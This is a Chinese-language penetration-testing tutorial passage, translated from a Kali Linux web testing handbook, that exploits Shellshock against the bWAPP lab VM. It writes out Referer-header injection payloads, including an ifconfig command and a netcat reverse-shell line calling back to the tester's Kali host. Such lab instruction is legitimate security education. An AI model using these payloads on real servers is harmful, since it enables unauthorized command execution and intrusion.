Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令

标记红色的部分为今日更新内容。

7.0、介绍

7.1、使用Exploit-DB利用Heartbleed漏洞

7.2、通过利用Shellshock执行命令

7.3、利用metasploit创建并反弹shell

7.4、Linux上的权限提升

7.5、Windows提权

7.6、使用Tomcat管理界面执行代码

7.7、通过John the Ripper使用字典来破解密码哈希值

7.8、使用Hashcat暴力破解密码哈希


7.2、通过利用Shellshock执行命令

Shellshock(也叫Bashdoor)是2014年9月在bash shell中发现的一个bug,它允许通过存储在环境变量值中的函数执行命令。

作为web渗透测试人员,Shellshock与我们相关,因为如果这些脚本使用系统环境变量,开发人员有时会在PHP和CGI脚本中调用系统命令(在CGI脚本中更为常见。)

在此小节中,我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行。

实战演练

通过HTTP (http://192.168.56.12/bWAPP/)浏览到bee-box,并登录开始这个练习:

1. 在下拉框中,选择Shellshock漏洞(CGI),点击Hack:

在文本中,我们可以看到一些有趣的东西:当前用户:www-data。这可能意味着页面正在使用系统调用来获取用户名。这也给了我们一个攻击推荐人的暗示。

2. 幕后发生了什么,使用Burp Suite记录请求并重新加载页面。让我们看看代理的历史:

我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh,这可能是易受Shellshock漏洞影响的脚本。

3. 我们关注这个提示,并尝试攻击shellshock.sh。我们首先需要配置BurpSuite来拦截服务器响应。转到“代理”选项卡中的“选项”,并根选中带有文本拦截响应的复选框。

4. 现在,设置BurpSuite拦截并重新加载shellshock.php。

5. 在Burp Suite中,单击Forward直到看到get请求到/bWAPP/cgi-bin/shellshock.sh。然后,将referer替换为(){:;};echo“Vulnerable:”如下截图所示:

6. 再次单击Forward,并再次在请求。然后我们需要从shellshock.sh中获取响应。如下面的截图所示:

响应现在有一个新的标题参数称为Vulnerable。这是因为它将echo命令的输出集成到我们提交的HTML标头中,现在我们可以进一步执行更有趣的命令。

7. 现在,尝试(){:;};"Vulnerable:" $(/bin/sh-c "/sbin/ifconfig")命令。如结果所示,命令的结果包含在响应头中:

8. 在渗透测试中,能够在服务器上远程执行命令是一个巨大的优势,下一个自然步骤是获得远程shell,这意味着我们可以通过直接连接发送更详细的命令。在Kali Linux中打开一个终端,用下面的命令建立监听网络端口:nc -vlp12345。

9. 现在转到Burp Suite代理的历史记录,选择对shellshock.sh的任何请求。右键单击它,并将其发送到中repeater。

10. 进入repeater后,将referer的值改为:(){:;};echo "Vulnerable:" $(/bin/sh -c "nc -e/bin/bash 192.168.56.10 12345")。在本例中,192.168.56.10是我们Kali机器的地址。

11. 单击Go。我们检查我们的终端,可以看到连接已经建立;发出一些命令来检查我们是否有远程shell:

原理剖析

在前五个步骤中,我们发现对shell脚本有一个调用,并且,由于它应该由shell解释器运行,可能是bash或bash的一个有漏洞版本。为了验证这一点,我们执行了以下测试:

() { :;}; echo "Vulnerable:"

第一部分,(){:;};,是一个空函数定义,因为bash可以将函数存储为环境变量,这是漏洞的核心,因为解释器在函数结束后会继续解释(和执行)命令。这允许我们发布第二部分,echo“Vulnerable:”,这个命令会简单地返回我们输入。

该漏洞发生在web服务器上,因为CGI实现将请求的所有部分映射到环境变量,所以如果通过替换referer执行此攻击,也可以工作。一旦我们知道服务器是脆弱的,我们就会发出一个测试命令ifconfig,并设置一个反向shell。

反向shell是一个远程shell,它由服务器发起,以便客户机侦听连接,而不是像在绑定连接中那样等待客户机连接的服务器。

一旦我们有了服务器的shell,我们就需要提权并获取帮助继续进行渗透测试所需的信息。

更多资料

Shellshock漏洞在全世界范围内影响了大量的服务器和设备,有多种方法可以利用它。命令执行的例子有很多,例如,我们将移动设备连接到LAN ,Metasploit Framework包含一个模块,用于设置DHCP服务器,以便将命令注入到连接到它的客户机上;这在网络渗透测试中非常有用 (https://www.rapid7.com/db/modules/auxiliary/server/dhclient_bash_env)。

原文发布于微信公众号 - 小白帽学习之路(bat7089)

原文发表时间:2019-01-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券